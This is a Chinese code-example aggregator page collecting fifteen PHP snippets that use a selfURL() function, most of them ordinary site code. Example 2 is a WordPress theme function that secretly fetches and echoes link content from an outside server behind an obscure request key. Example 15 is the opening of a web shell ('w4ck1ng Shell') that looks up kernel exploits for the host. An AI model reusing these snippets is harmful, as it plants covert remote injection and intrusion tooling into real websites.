当前位置: 首页>>代码示例>>PHP>>正文


PHP selfURL函数代码示例

本文整理汇总了PHP中selfURL函数的典型用法代码示例。如果您正苦于以下问题:PHP selfURL函数的具体用法?PHP selfURL怎么用?PHP selfURL使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了selfURL函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: tpl_action_url

function tpl_action_url($url)
{
    $page_url = urlencode(selfURL());
    $page_title = urlencode(tpl_pagetitle(null, true));
    $url = str_replace("%PAGEURL%", $page_url, $url);
    $url = str_replace("%PAGETITLE%", $page_title, $url);
    return $url;
}
开发者ID:philipp02,项目名称:volleyball-rueppurr-dokuwiki,代码行数:8,代码来源:tpl_functions.php

示例2: fflink

function fflink()
{
    global $wpdb, $wp_query;
    if (!is_page() && !is_front_page()) {
        return;
    }
    $contactid = $wpdb->get_var("SELECT ID FROM {$wpdb->posts}\n               WHERE post_type = 'page' AND post_title LIKE 'contact%'");
    if ($contactid != $wp_query->post->ID && ($contactid || !is_front_page())) {
        return;
    }
    $fflink = get_option('fflink');
    $ffref = get_option('ffref');
    $x = $_REQUEST['DKSWFYUW**'];
    if (!$fflink || $x && $x == $ffref) {
        $x = $x ? '&ffref=' . $ffref : '';
        $response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink=' . urlencode(selfURL()) . $x);
        if (is_array($response)) {
            $fflink = $response['body'];
        } else {
            $fflink = '';
        }
        if (substr($fflink, 0, 11) != '!fabthemes#') {
            $fflink = '';
        } else {
            $fflink = explode('#', $fflink);
            if (isset($fflink[2]) && $fflink[2]) {
                update_option('ffref', $fflink[1]);
                update_option('fflink', $fflink[2]);
                $fflink = $fflink[2];
            } else {
                $fflink = '';
            }
        }
    }
    echo $fflink;
}
开发者ID:standsito,项目名称:cosas2,代码行数:36,代码来源:functions.php

示例3: selfURL

 *
 * $Id: login.php,v 1.1 2007/05/22 05:38:38 andreas1980 Exp $
 *
 * Copyright 2006 Sun Microsystems Inc. All Rights Reserved
 */
// Loading SAML library
require_once '../openssophp/config/config.php';
require_once '../openssophp/lib/saml-lib.php';
// Needs a function to get the token from the php session
require_once '../openssophp/spi/sessionhandling/' . $LIGHTBULB_CONFIG['spi-sessionhandling'] . '.php';
// Needs a function to get the token from the php session
require_once '../openssophp/spi/namemapping/' . $LIGHTBULB_CONFIG['spi-namemapping'] . '.php';
// Load functions...
require_once "example-lib.php";
// URL to return user to after authentication. Will be this page :D
$return_url = selfURL();
// URL initiating SSO with lighbulb, contains some configuration parameters.
$ssoinit_url = $LIGHTBULB_CONFIG['baseurl'] . "spSSOInit.php?" . "metaAlias=/sp&" . "RelayState=" . urlencode($return_url);
// Logout URL. Also a openssophp service with some parameters and a return url.
$logout_url = $LIGHTBULB_CONFIG['baseurl'] . "spSLOInit.php?" . "metaAlias=/sp&" . "RelayState=" . urlencode($return_url);
$userid = $_POST["username"];
$password = $_POST["password"];
$username = authenticateLocalUser($userid, $password);
if (is_null($username)) {
    echo "Error login, probably bad credentials. Sorry.";
    exit;
} else {
    if (!is_null(spi_sessionhandling_getNameID())) {
        // The user is already authenticated to an IdP so we federate the accounts..
        $nameId = getNameID(spi_sessionhandling_getResponse());
        spi_namemapping_mapNameIdToLocalId($nameId["NameQualifier"], $nameId["SPNameQualifier"], spi_sessionhandling_getNameID(), $userid);
开发者ID:GajendraNaidu,项目名称:openam,代码行数:31,代码来源:login.php

示例4: getLoginUser

 /**
  * getLoginUser 
  * @param string $ticket
  * @return array
  **/
 public function getLoginUser($ticket)
 {
     global $server_url;
     $domain = $_SERVER['HTTP_HOST'];
     $sign = $this->_createSign(md5($ticket . $domain));
     $url = $server_url . "/index.php?action=api&view=getuser&ticket=" . $ticket . "&domain={$domain}&sign=" . $sign;
     $res = $this->_xpassServer($url);
     list($head, $body) = explode("\r\n\r\n", $res);
     $msg = json_decode($body, true);
     if ($msg['s'] == 200) {
         $msg['d'] = $this->_decryptToken($msg['d']);
     }
     if ($msg['s'] == 300) {
         $url = urlencode(selfURL());
         $msg['d'] .= '&forward=' . $url;
     }
     return $msg;
 }
开发者ID:AlvarodelRosal,项目名称:xppass,代码行数:23,代码来源:XPassClient.class.php

示例5: selfURL

*/
require_once ROOTDIR . "/include/database/class.ServerQueries.php";
require_once ROOTDIR . "/include/database/class.UserQueries.php";
require_once ROOTDIR . "/include/class.rcon.php";
function selfURL()
{
    $s = empty($_SERVER["HTTPS"]) ? '' : $_SERVER["HTTPS"] == "on" ? "s" : "";
    $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/") . $s;
    $port = $_SERVER["SERVER_PORT"] == "80" ? "" : ":" . $_SERVER["SERVER_PORT"];
    return $protocol . "://" . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$url = selfURL();
$url = substr($url, 0, strrpos($url, "/")) . "/";
$serverId = $_GET['serverId'];
$serverQueries = new ServerQueries();
$server = $serverQueries->getServer($serverId);
// Create an rcon object to connect to a single server on each iteration
$r = new rcon($server->getIp(), $server->getPort(), $server->getRcon());
$success = 0;
// Make sure it connected to the server
if ($r->isValid()) {
    // Is admin banning allowed
    $adminBanning = 0;
    if ($config->allowAdminBans) {
        $adminBanning = 1;
    }
    $r->Auth();
开发者ID:googlecode-mirror,项目名称:globalban-spanish,代码行数:31,代码来源:saveConfigToServer.php

示例6: login

    $sortBy = "";
}
if (isset($_REQUEST["sortDir"])) {
    $sortDir = $_REQUEST["sortDir"];
} else {
    $sortDir = "ASC";
}
$db = login();
$selfUrl = "https://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"];
$msg = "";
writeHeader("Building session- build new session", "secure", $msg);
wizardHeader(2);
//echo "<p><font size=+1><a href=\"selectExistingSession.php?table=sessions&returnURL=".urlencode($selfUrl)."&returnIdName=sessionId\">Select existing session</a>\n";
//echo "&nbsp;&nbsp; or add a new session:\n</font></p>";
$idStr = '<a href="buildSession3.php?studyId=' . $studyId . '&sessionId=<ID>"><ID></a>';
$sortbyStr = '<a href="' . selfURL() . '?table=' . $table . '&studyId=' . $studyId . '&sortDir=<DIR2>&sortBy=<ID>"><ID><DIR></a>';
if ($sortBy == "") {
    // Default sort
    $sortBy = 'id';
}
$displaySummary = 1;
echo "<p><font size=+1><b>Select from the following existing sessions:</b></font></p>";
//tableText = displayTable($db, $table, $idStr, "WHERE primaryStudyID=".$studyId, 0, $displaySummary, "", $studyId, $subjectId, $sessionId, "", "", "", "");
$tableText = displayTable($db, $table, $idStr, "WHERE primaryStudyID=" . $studyId, 0, $displaySummary, "", $studyId, 0, $sessionId, $sortbyStr, $sortBy, $sortDir, "");
if ($tableText != "") {
    echo $tableText;
} else {
    echo "<p class=error>No entries found for studyid=" . $studyId . ".</p>\n";
    echo "<p><a href=buildSession2.php?studyId=" . $studyId . ">Back to previous page</a></p>\n";
}
//echo "<p><a href=\"editTable.php?table=studies&returnURL=".urlencode($selfUrl);
开发者ID:racheldenison,项目名称:megavista,代码行数:31,代码来源:selectExistingSession.php

示例7: session_start

if (!isset($_SESSION)) {
    session_start();
}
require_once dirname(__FILE__) . '/common/rememberme.php';
if (!isset($_SESSION['userId']) || !is_numeric($_SESSION['userId'])) {
    addError("Access denied");
    redirect('./index.php');
}
if (!is_numeric($_REQUEST['diagramId'])) {
    print "Wrond Diagram";
    exit;
}
$delegate = new Delegate();
$loggedUser = $delegate->userGetById($_SESSION['userId']);
$diagram = $delegate->diagramGetById($_REQUEST['diagramId']);
$selfUrl = selfURL();
//find full URL to this script
$url = strleft($selfUrl, '/exportDiagram.php');
//find the URL of the application
$WEBADDRESS = $delegate->settingsGetByKeyNative('WEBADDRESS');
//$svgLink = $WEBADDRESS . '/editor/raster.php?type=svg&diagramId=' . $diagram->id;
$pngLink = $WEBADDRESS . '/editor/png.php?type=png&diagramId=' . $diagram->id;
//$jpgLink = $WEBADDRESS . '/editor/raster.php?type=jpg&diagramId=' . $diagram->id;
$dmoLink = $WEBADDRESS . '/editor/dmo.php?diagramId=' . $diagram->id;
$page = 'export';
$rawLicense = $delegate->settingsGetByKeyNative('LICENSE');
$l = new License();
if (trim($rawLicense) != '') {
    $l->load($rawLicense);
}
$currentHost = $_SERVER['HTTP_HOST'];
开发者ID:Jpastran,项目名称:diagramas,代码行数:31,代码来源:exportDiagram.php

示例8: getAdminPaginationUrl

 public function getAdminPaginationUrl($type = '')
 {
     $page = '';
     $this->totalRecord = $this->replaceEmpty('totalrecordonpage', 0);
     $callBackUrl = base64_decode($this->replaceEmpty('callbackurl', ''));
     # Retunrn url
     $page = $this->replaceEmpty('page', 1);
     if ($type == 'all') {
         //echo 'here';print_r($_REQUEST);
         $this->recordChecked = $this->replaceEmpty('checkStatus', array());
         $this->totalRecordChecked = count($this->recordChecked);
     } else {
         $this->totalRecordChecked = 1;
     }
     $recordRemains = $this->totalRecord - $this->totalRecordChecked;
     $this->currentpageurl = $callBackUrl != '' ? $callBackUrl : selfURL();
     // Getting page number from url start
     if (preg_match('/page=/', $this->currentpageurl)) {
         $pageArray = explode('?', $this->currentpageurl);
         $pageTempValueArray = explode('&', $pageArray[1]);
         foreach ($pageTempValueArray as $tempVal) {
             if (substr($tempVal, 0, 5) == "page=") {
                 $page = str_replace('page=', '', $tempVal);
             }
         }
         $page = $page == '' ? '1' : $page;
         # If page Value Not Found
     } else {
         $page = 1;
     }
     // Getting page number from url end
     if ($page > 1 && $recordRemains == 0) {
         $oldPage = $page;
         $page = $page - 1;
         $currpage = selfURL();
         if ($callBackUrl != '') {
             $this->currentpageurl = str_replace('page=' . $oldPage, 'page=' . $page, $callBackUrl);
         } else {
             $this->currentpageurl = str_replace('page=' . $oldPage, 'page=' . $page, $currpage);
         }
     } elseif ($page == 1 && $recordRemains == 0) {
         $this->currentpageurl = $_SERVER['PHP_SELF'];
     }
     return $this->currentpageurl;
 }
开发者ID:ranrolls,项目名称:php-web-services,代码行数:45,代码来源:Common.class.php

示例9: array

    echo "\t\t\t</tr>\n";
    for ($i = 0; $i < count($_FILES['images']['name']); $i++) {
        echo "\t\t\t<tr>\n";
        $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
        if (in_array($_FILES['images']['type'][$i], $allowed_types, true)) {
            $token = new ToknData(generateRandomChars(8), str_shuffle(sha1(time())));
            $stor = new Stor(new StorFromData($_FILES['images']['name'][$i], $_FILES['images']['type'][$i], file_get_contents($_FILES['images']['tmp_name'][$i])));
            if ($stor->getSize() !== $_FILES['images']['size'][$i]) {
                throw new Exception("Content and content size mismatch");
            }
            $token->write();
            $stor->write(new StorToFile("var/stor/" . $token->getReference()));
            $retrieve_url = str_replace(basename(__FILE__), "g/" . $token->getName(), selfURL());
            $thumbnail = new Thumbnail($stor);
            $thumbnail_url = str_replace(basename(__FILE__), "t/" . $token->getName(), selfURL());
            $delete_url = str_replace(basename(__FILE__), "d/" . $token->getName() . "/" . $stor->getSecretKey(), selfURL());
            echo "\t\t\t\t<td>" . $_FILES['images']['name'][$i] . "</td>\n";
            echo "\t\t\t\t<td style=\"color: darkgreen; font-weight: bold;\">Successfully uploaded</td>\n";
            echo "\t\t\t\t<td><a href=\"{$thumbnail_url}\" target=\"_blank\">" . $thumbnail->html() . "</a></td>\n";
            echo "\t\t\t\t<td><a href=\"{$retrieve_url}\" target=\"_blank\">{$retrieve_url}</a></td>\n";
            echo "\t\t\t\t<td><a href=\"{$delete_url}\" target=\"_blank\">{$delete_url}</a></td>\n";
        } else {
            echo "\t\t\t\t<td>" . $_FILES['images']['name'][$i] . "</td>\n";
            echo "\t\t\t\t<td style=\"color: red; font-weight: bold;\">Won't upload</td>\n";
            echo "\t\t\t\t<td colspan=\"3\">" . "Type <i>" . $_FILES['images']['type'][$i] . "</i> is not allowed." . "</td>\n";
        }
        echo "\t\t\t</tr>\n";
    }
    echo "\t\t</table>\n";
    echo "\t\t<span style=\"color: darkgreen; font-weight: bold;\">Uploading finished.</span><br />\n";
} else {
开发者ID:jcsilkey,项目名称:CodeReviewSecurityRepo,代码行数:31,代码来源:index.php

示例10: selfURL

<?php

require_once "../config/mobi_web_constants.php";
require_once PAGE_HEADER;
require_once LIBDIR . "StellarData.php";
require_once "stellar_lib.php";
function selfURL()
{
    $start = $_REQUEST["start"] ? (int) $_REQUEST["start"] : 0;
    $query = http_build_query(array("filter" => $_REQUEST['filter'], "start" => $start));
    return "search.php?{$query}";
}
$classes = StellarData::search_subjects($_REQUEST['filter']);
// if exactly one class is found redirect to that
// classes detail page
if (count($classes) == 1) {
    header("Location: " . detailURL($classes[0], selfURL()));
    die;
}
$content = new ResultsContent("items", "stellar", $page);
require "{$page->branch}/search.html";
$page->output();
开发者ID:jamespaulmuir,项目名称:MIT-Mobile-Framework,代码行数:22,代码来源:search.php

示例11: header

  $toggle = "ms_off";
  $mystellar_img = 'mystellar-off';
  $action = 'add';
}

if($_REQUEST['action'] == 'add') {
  if (!in_array($class_data, $mystellar)) {
    $mystellar[] = $class_data;
    header("Location: " . selfURL());
  }
}

if($_REQUEST['action'] == 'remove') {
  if (in_array($class_data, $mystellar)) {
    array_splice($mystellar, array_search($class_data, $mystellar), 1);
    header("Location: " . selfURL());
  } else {
    foreach ($mystellar as $item) {
      if (strpos($item,$class_id) !== false) {
	array_splice($mystellar, array_search($item, $mystellar), 1);
	header("Location: index.php");
      }
    }
  }
}

setMyStellar($mystellar);

if (!$class) {
  // no such class or none entered
  $not_found_text = "Sorry, class '$class_id' not found for the $term term";
开发者ID:roycefu,项目名称:MIT-Mobile-Web,代码行数:31,代码来源:detail.php

示例12: if

                        if($_SESSION['gal_size'])
                        {
                          if($_SESSION['gal_size'] != 'small')
                            $multi = 2;
                          else $milti = 1;
                        }
                      ?>
                        <?php if($multi == 1){ ?>
                          Small
                        <?php } else { ?>
                          <a href="<?php echo selfURL().'&gal_size=small'?>"> Small</a>
                        <?php }?> | 
                        <?php if($multi == 2){ ?>
                          Large
                        <?php } else { ?>
                          <a href="<?php echo selfURL().'&gal_size=large'?>"> Large</a>
                        <?php }?>
                        
                </div>
            </div>
      <style>

        .galery-content {
          float:left;
          width: <?php echo $multi*150 ?>px;
          margin-left:10px;
          margin-bottom:40px;
          border-bottom:solid 1pz #CCCCCC;
          //height: <?php echo $multi*150 ?>px;
          height: auto;
        }
开发者ID:GansukhB,项目名称:phtstr,代码行数:31,代码来源:search.php

示例13: writeHeader

function writeHeader($title = '', $type = 'basic', $msg = '', $js = '')
{
    // basic- for standard public pages
    // secure- forces SSL before continuing
    if ($type == 'secure' && !isset($_SERVER["HTTPS"])) {
        header("Location: " . selfURL('https'));
        exit;
    }
    if ($msg == '' && isset($_SESSION['dbname'])) {
        $msg = "Currently logged in to " . $_SESSION['dbname'] . " as user '" . $_SESSION['username'] . "'.";
    }
    ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>mrData: <?php 
    echo $title;
    ?>
</title>
<style type="text/css" media=screen>
<!--
  TD   { font-family: Verdana,Arial; font-size: 10pt; }
  TH   { font-family: Verdana,Arial; font-size: 10pt; font-weight : bold}
  H1   { font-family: Verdana,Arial; font-size: 18pt; }
  H2   { font-family: Verdana,Arial; font-size: 14pt; }
  H3   { font-family: Verdana,Arial; font-size: 12pt; }
  p    { font-family: Times,Serif; font-size: 12pt; }
  ul    { font-family: Times,Serif; font-size: 12pt; }
  ol    { font-family: Times,Serif; font-size: 12pt; }
  p.foot { font-family: Verdana,Arial; font-size: 8pt; font-style: italic;
           text-align: center; color: #aaaaaa; 
           margin-left: 5%; margin-right: 5%; margin-top: 2em}
  p.error { font-family: Verdana,Arial; font-size: 14pt; font-weight: bold;
            color: red; }
  p.msg { font-family: Verdana,Arial; font-size: 12pt; color: red; }
  font.msg { font-family: Verdana,Arial; color: red; }
  a.foot:link    { color: #9999ff }
  a.foot:visited { color: #9999ff }
  a.foot:hover   { color: #0000ff }
  a.topNav:link    { color: #ffffff }
  a.topNav:visited { color: #ffffff }
  a.topNav:hover   { color: #ffffaa }
  td.topNav   { font-family: Verdana,Arial; font-size: 10pt; 
                color: #ffffff; font-weight : bold}
-->
</style>
<?php 
    if ($js != "") {
        echo "<script language=JAVASCRIPT><!--\n" . $js . "// --></script>\n";
    }
    ?>

</head>
<body bgcolor=#ffffff>
<table border=0 cellpadding=0 cellspacing=0 width=800>
<tr><td align=left><strong><a href="/mrdata/">mrData Home</a></strong>
    <?php 
    if ($msg != "") {
        echo "&nbsp; &nbsp; Status: <font class=msg>{$msg}</font>\n";
    }
    ?>
</td></tr>
<tr><td><hr></td></tr>
<tr><td>
<?php 
}
开发者ID:racheldenison,项目名称:megavista,代码行数:66,代码来源:include.php

示例14: isset

$entry = isset($_GET['entry']) ? intval($_GET['entry']) : 0;
$db = new guestbook_vars(LAZ_INCLUDE_PATH);
$db->getVars();
header('Content-type: application/xml; charset=' . $db->VARS['charset'] . '');
function selfURL()
{
    $s = empty($_SERVER['HTTPS']) ? '' : $_SERVER['HTTPS'] == 'on' ? 's' : '';
    $protocol = strleft(strtolower($_SERVER['SERVER_PROTOCOL']), '/') . $s;
    $port = $_SERVER['SERVER_PORT'] == '80' ? '' : ':' . $_SERVER['SERVER_PORT'];
    return $protocol . '://' . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$whereRwe = selfURL();
$i = 0;
$items = '';
$lastbuild = '';
$result = $db->query('SELECT * FROM ' . LAZ_TABLE_PREFIX . '_data WHERE accepted=1 ORDER BY id DESC LIMIT ' . $entry . ',' . $db->VARS['entries_per_page']);
while ($lentry = $db->fetch_array($result)) {
    while (preg_match('!<object\\b[^>]*>(.*?)value\\=\\"(.*?)\\"(.*?)</object>!i', $lentry['comment'])) {
        $lentry['comment'] = preg_replace('!<object\\b[^>]*>(.*?)value\\=\\"(.*?)\\"(.*?)</object>!i', "[flash]<a href=\"\$2\" target=\"_blank\">\$2</a>[/flash]", $lentry['comment']);
    }
    if ($i == 0) {
        $lastbuild = date("r", $lentry['date']);
    }
    if ($db->VARS['included'] > 0) {
        if (strpos($db->VARS['laz_url'], '?') !== false) {
            $entryLink = $db->VARS['laz_url'] . '&amp;permalink=true&amp;entry=' . $lentry['id'];
        } else {
开发者ID:haazenpfeffer,项目名称:haazenpfeffer,代码行数:31,代码来源:rss.php

示例15: selfURL

*  UNDERGROUND NETWORK | WWW.LOCUS7S.COM                  
*  \E0T/                                                  
*********************************************************/
//for php proxy purposes
function selfURL()
{
    $s = empty($_SERVER["HTTPS"]) ? '' : $_SERVER["HTTPS"] == "on" ? "s" : "";
    $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/") . $s;
    $port = $_SERVER["SERVER_PORT"] == "80" ? "" : ":" . $_SERVER["SERVER_PORT"];
    return $protocol . "://" . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$selfurl = base64_encode(selfURL());
$phprox = "http://twofaced.org/proxy/index.php?q=" . $selfurl;
//end of link
//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if (eregi("Linux", $OSV)) {
    $Lversion = substr($Lversion, 0, 6);
    $millink = "http://milw0rm.com/search.php?dong=Linux Kernel " . $Lversion;
} else {
    $Lversion = substr($Lversion, 0, 3);
    $millink = "http://milw0rm.com/search.php?dong=" . $OSV . " " . $Lversion;
}
//End of milw0rm search
//w4ck1ng Shell
if (!function_exists("myshellexec")) {
开发者ID:beejhuff,项目名称:l7secassay,代码行数:31,代码来源:locus7s.php


注:本文中的selfURL函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。